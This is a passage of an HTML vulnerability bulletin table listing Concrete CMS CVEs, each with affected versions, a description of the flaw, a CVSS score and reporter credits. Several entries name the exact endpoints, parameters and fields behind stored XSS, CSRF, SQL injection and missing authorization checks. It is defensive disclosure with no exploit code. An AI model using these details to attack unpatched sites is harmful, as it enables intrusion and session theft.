&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18425&quot; target=&quot;_blank&quot;&gt;CVE-2026-18425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.0.0 through 9.5.2 did not enforce a block-level edit-permission check on the Express Form block&#039;s control-management actions, which relied solely on CSRF token validation. Because the token is bound to the user and action rather than to a specific block, page, or form, an authenticated user with edit access to one Express Form could reuse a validly obtained token to add, modify, or delete controls on Express Forms they were not authorized to edit, including injecting a control whose value is later rendered as HTML to achieve stored XSS.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.0 with vector CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks Yat Wu for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18426&quot; target=&quot;_blank&quot;&gt;CVE-2026-18426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.0.0 through 9.5.2 was missing an authorization check on the Express entries advanced-search dashboard action. The advanced_search() method in DashboardSelectableExpressEntryListTrait resolved an Express entity directly from a user-supplied entity ID and rendered that entity&#039;s entries without invoking canViewExpressEntries(), the per-entity permission check that the sibling results() action enforced. An authenticated dashboard user holding view_express_entries on a single Express entity could read the entries of any other entity, including secret attribute values, by requesting the advanced-search action with that entity&#039;s ID, disclosing form submissions and CRM-style records across the per-entity permission boundary that Express is designed to enforce.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68529&quot; target=&quot;_blank&quot;&gt;CVE-2026-68529&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9 through 9.5.2 did not perform an authorization check on several board-instance actions in the Boards area of the Dashboard. The instance details single-page controller resolved a board instance directly from an attacker-supplied instance ID and then viewed, refreshed, regenerated, or deleted it without verifying that the requester held edit_board_settings on the instance&#039;s parent board. As a result, a user granted board-edit rights on a single board could reach the instances of any other board on the site by supplying their instance IDs. The affected actions bypassed the controller&#039;s permission-checked accessor (the same accessor used by the read view, which runs canEditBoardSettings on the parent board) and validated only an action-scoped CSRF token, which is bound to the action name rather than to the target object and is therefore reusable across boards.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68530&quot; target=&quot;_blank&quot;&gt;CVE-2026-68530&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9 before 9.5.3 did not escape SQL LIKE wildcard characters in the keyword search filters used by the file manager, file folders, and page list, allowing an authenticated user with editor-level or higher privileges to submit a crafted search containing many single-character wildcards. Because the keyword input was placed into the LIKE clause without neutralizing its wildcard metacharacters, a short request could force the database to evaluate every row and perform a full-table scan, and repeated or wildcard-dense searches could sustain elevated database CPU and I/O, degrading responsiveness for other users on large installations.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N. Thanks noivan for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68531&quot; target=&quot;_blank&quot;&gt;CVE-2026-68531&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.0.0 to dashboard group type controller did not validate a CSRF token on its delete action, resulting in cross-site request forgery. A remote unauthenticated attacker could cause an authenticated user with group type management permission to delete a custom group type.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68532&quot; target=&quot;_blank&quot;&gt;CVE-2026-68532&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS below 9.5.3 conversation attachment uploaded endpoint imported files into the file manager before evaluating the &quot;Add Message Attachments&quot; permission, which was only checked after the file had been stored. A user denied that permission, or an unauthenticated visitor on a guest-posting configuration, could import approved files of allowed types into the file manager.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68533&quot; target=&quot;_blank&quot;&gt;CVE-2026-68533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.3 rendered Express entry labels as raw HTML when displaying associated entries, resulting in stored cross-site scripting. An unauthenticated attacker could submit a payload through a public Express Form; it then executed in an administrator&#039;s dashboard session when the associated entry was viewed, or in the browser of any visitor to a page using an Express Entry List block with association columns, allowing actions to be performed with that user&#039;s privileges.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks v01demort for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68534&quot; target=&quot;_blank&quot;&gt;CVE-2026-68534&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.5.2 and below is vulnerable to stored DOM-based Cross-site Scripting (XSS) via the Gallery block&#039;s per-image Caption field because the bundled Magnific Popup lightbox script (concrete/js/features/imagery/frontend.js) re-parses the attribute-decoded caption as HTML through jQuery&#039;s .append() in titleSrc instead of inserting it as text. A user with permission to edit a page containing a Gallery block can store a caption that executes in the browser of any visitor who opens that image&#039;s lightbox. The Concrete CMS security team gave this vulnerability a CVSS v.4.0 score of 8.5 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks Yonatan Drori (Tenzai) for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81894&quot; target=&quot;_blank&quot;&gt;CVE-2026-81894&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;In Concrete CMS before 9.5.3, the Document Library block stored the file-set identifiers submitted through fsID[] without validating them as integers, and when the block was configured with setMode set to any it concatenated each stored identifier directly into the file-set filter query instead of casting it or binding it as a parameter. An authenticated user permitted to add or edit a Document Library block could therefore persist SQL syntax in the block configuration (btDocumentLibrary.setIds), and that stored expression was executed every time the published page containing the block was rendered, producing stored, time-based blind SQL injection.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 8.5 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks Habib Allah for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81895&quot; target=&quot;_blank&quot;&gt;CVE-2026-81895&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.3 does not apply HTML entity encoding to user-defined Form block question labels when rendering them as column headers in the Dashboard Form Submissions report (concrete/single_pages/dashboard/reports/forms/legacy.php). a rogue editor could store markup or script in a label that then executes in the browser of any administrator who opens the submissions report for the affected form, producing stored cross-site scripting in the Dashboard.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 8.4 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81896&quot; target=&quot;_blank&quot;&gt;CVE-2026-81896&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;In Concrete CMS below CMS 9.5.3, the save_control action in the Express entities forms dashboard controller did not validate the anti-CSRF token. By causing an authenticated administrator to submit a forged cross-site request, a remote attacker without credentials could write attacker-controlled headline and body values to an existing Express form Text control. Those values were emitted without output encoding by the Express form Text element, so the injected markup executed as persistent JavaScript for any administrator who later opened the affected entry, resulting in stored cross-site scripting.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.7 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81897&quot; target=&quot;_blank&quot;&gt;CVE-2026-81897&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;In Concrete CMS below version 9.5.3, the Address attribute&#039;s country-less text formatter skipped HTML-escaping, enabling stored XSS in Express association views. A user able to submit an Address attribute could execute script in the session of any dashboard user who opened the affected entry. The unescaped branch was reachable because a non-required Address attribute accepted a blank country, and because several Express association templates (for example concrete/elements/express/form/view/dashboard/association.php) echoed the association label mask without applying h().&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.5 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81898&quot; target=&quot;_blank&quot;&gt;CVE-2026-81898&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.0.0 to 9.5.2 stored group folder names without sanitization and printed them unescaped on the Members &amp;gt; Groups dashboard page, resulting in stored cross-site scripting. The add and edit group-folder handlers stored the submitted folder name without neutralizing HTML, and the group search grid returned it without output encoding, so the Groups dashboard rendered the name as live markup. An authenticated user holding the Add Group Folder permission could store a script payload as a folder name that executed in the session of any administrator who viewed the Groups dashboard, enabling session and token theft and any action available in the administrator&#039;s context.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks LÃ½ Cháº¥n HÆ°ng (hunglyvn) for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81899&quot; target=&quot;_blank&quot;&gt;CVE-2026-81899&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.3 applied only trim() to the YouTube block&#039;s stored width and height values and printed them into iframe HTML attributes without escaping or integer casting, resulting in stored cross-site scripting. A user with edit_block permission could inject an event handler that executed script for visitors rendering the page, acting with administrative privileges where the victim was an administrator.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks sh4d0byss for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81900&quot; target=&quot;_blank&quot;&gt;CVE-2026-81900&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;In Concrete CMS 9.2.0 through 9.5.2, the REST API page update endpoint (PUT /ccm/api/1.0/pages/{cID}) did not enforce page-property, page-template, or page-type authorization. A user granted only content-editing rights on a page could therefore alter its properties, template, and type through the API, and could set the header_extra_content attribute, which is rendered unescaped into the head element of every page, to persist JavaScript that executed in the browser of every visitor, including higher-privileged reviewers who approve the page version.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.2 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81901&quot; target=&quot;_blank&quot;&gt;CVE-2026-81901&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9 through 9.5.2 did not validate a CSRF token in the orphaned block removal panel action (removeOrphanedBlocks). A remote attacker could craft a request that, when loaded by an authenticated user holding edit permission on the target page, deleted every block on that page&#039;s current version; blocks not aliased to another page or scrapbook entry were also removed from the global Blocks table and their block-type data table, permanently destroying the content.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.1 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81902&quot; target=&quot;_blank&quot;&gt;CVE-2026-81902&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS versions 9.0.0 to 9.5.2 stored the Page Container icon value submitted through the dashboard without validating it against the set of known container icons. The unvalidated value was later concatenated into the src attribute of an img tag by a helper that did not encode attribute output, and was rendered raw in the Containers dashboard list and editor views. A user with delegated access to the Page Containers dashboard could store a crafted icon value that broke out of the src attribute and executed script in the authenticated session of another editor or administrator who viewed the list, enabling session token theft and privileged dashboard actions.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.0 with vector CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks Andrew Gonzalez for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81903&quot; target=&quot;_blank&quot;&gt;CVE-2026-81903&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS below 9.5.3 did not validate an anti-CSRF token on the block-arrangement backend endpoint (the arrange() action of Concrete\Controller\Backend\Page\ArrangeBlocks). The action enforced page-edit authorization but performed no token check, and its route accepted any HTTP method, so an attacker could induce a signed-in content editor into loading an attacker-controlled page that auto-submitted a cross-site request and reordered or moved blocks in the draft version of a page the victim was permitted to edit. The default null cookie SameSite configuration let the victim&#039;s session cookie accompany the forged request.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81919&quot; target=&quot;_blank&quot;&gt;CVE-2026-81919&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS below 9.5.3 was vulnerable to Cross-Site Request Forgery in the dashboard SEO Excluded Words page. The reset() controller action cleared the administrator-configured reserved-word list (concrete.seo.exclude_words) but did not validate the anti-CSRF token that the reset modal emitted, and it did not restrict the request to the POST method. A remote attacker who lured an authenticated user with SEO access to a crafted page could revert the reserved-word list to its default and silently alter future URL-slug generation for pages, files, topics, and other objects created through the Text urlify service, undoing the site&#039;s configured SEO slug policy.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81920&quot; target=&quot;_blank&quot;&gt;CVE-2026-81920&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 8.5.3 through 9.5.2 enabled the OAuth 2.0 refresh-token grant using the unmodified upstream League grant, which issued new access tokens from a valid refresh token without re-checking the associated account&#039;s active status. A user who obtained a refresh token while active could therefore continue to mint valid access tokens after being deactivated or suspended (uIsActive=0), so deactivating an account did not revoke its API access.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L. Thanks sh4d0byss for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81921&quot; target=&quot;_blank&quot;&gt;CVE-2026-81921&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.3 did not enforce a per-page authorization check when reordering pages from the sitemap. In the sitemap Explore dashboard controller, the send_to_top and send_to_bottom reorder tasks ran after only a generic sitemap-access check; the controller loaded the page named by the attacker-controlled cNodeID parameter and changed its display order without verifying that the current user held move or arrange permission on that specific page. Because of this, an authenticated user who could reach the sitemap but had no edit or arrange rights on a given page could still move that page and alter the site&#039;s global navigation order.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Andrew Gonzalez for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81922&quot; target=&quot;_blank&quot;&gt;CVE-2026-81922&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;In Concrete CMS before 9.5.3, the SEO Bulk Update Meta Tags editor did not check per-page edit permissions before saving. The saveRecord() action validated the per-page CSRF token but never called canEditPageProperties() for the target page, so a user who was granted access to the bulk SEO tool and could view (but not edit) a given page was able to change that page&#039;s meta title, meta description, and URL handle outside their edit scope, tampering with the presentation and live URLs of otherwise protected content.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Andrew Gonzalez for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81923&quot; target=&quot;_blank&quot;&gt;CVE-2026-81923&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.3 is vulnerable to Cross-Site Request Forgery (CSRF) in the theme page-template activation feature. The Dashboard theme Inspect controller&#039;s activate_files() action created PageTemplate records from attacker-supplied pageTemplates[] values without validating an anti-CSRF token.A remote attacker could host a page that auto-submitted a forged POST request; when a signed-in administrator visited it, the request executed under the administrator&#039;s session and created theme page-template records, changing site configuration without the administrator&#039;s consent.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Andrew Gonzalez for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81924&quot; target=&quot;_blank&quot;&gt;CVE-2026-81924&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.3 improperly neutralized a user-supplied custom date format when rendering conversation messages, resulting in reflected cross-site scripting. An attacker could execute arbitrary JavaScript in the browser of a user who was tricked into submitting a crafted POST request to the conversation view endpoint. Exploitation was aided by the absence of a CSRF token on the endpoint, which allowed the payload to be delivered through an auto-submitting cross-origin POST without authentication.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81925&quot; target=&quot;_blank&quot;&gt;CVE-2026-81925&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.4.0 through 9.5.2 did not escape colliding page paths before rendering them in the location panel&#039;s duplicate-path confirmation dialog. The panel&#039;s check endpoint returned the submitted path unmodified in its JSON response, and client-side JavaScript inserted each value into the dialog as raw HTML, so a crafted page path executed script in the editor&#039;s authenticated browser session.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.0 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81926&quot; target=&quot;_blank&quot;&gt;CVE-2026-81926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.3 contained a stored cross-site scripting vulnerability in SVG file handling. When SVG processing was set to the non-default &quot;Reject files containing potentially harmful elements&quot; mode (concrete.file_manager.images.svg_sanitization.action = reject), uploaded SVGs were checked only against a small built-in blocklist covering the script element and on* event-handler attributes; the broader enshrined/svg-sanitize pass still ran, but its result was discarded, so vectors it would have stripped, such as a javascript: URI in an xlink:href, were stored unmodified and executed when the file was opened directly. A user able to upload files could thereby run arbitrary JavaScript in the browser of any user who viewed the file. The default sanitize mode was not affected.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 1.8 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Oriol Ortiz for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81927&quot; target=&quot;_blank&quot;&gt;CVE-2026-81927&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS below 9.5.4 did not validate the user timezone value (uTimezone) on write and rendered it without output encoding on the Dashboard user management page, where Date::getTimezoneDisplayName() returns any non-IANA value unchanged. A stored cross-site scripting payload saved in this field executed in an administrator&#039;s browser when they viewed the affected user in the Dashboard, running script in the admin session (for example to read CSRF tokens, create administrator accounts, or change site settings). In Concrete CMS 9.5.3 the field became reachable by unauthenticated visitors through public registration; in Concrete CMS below 9.5.3, the same field was reachable by any authenticated user through the account profile editor. Exploitation required concrete.misc.user_timezones to be enabled (off by default), and the unauthenticated path additionally required public registration to be enabled.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.7 with vector 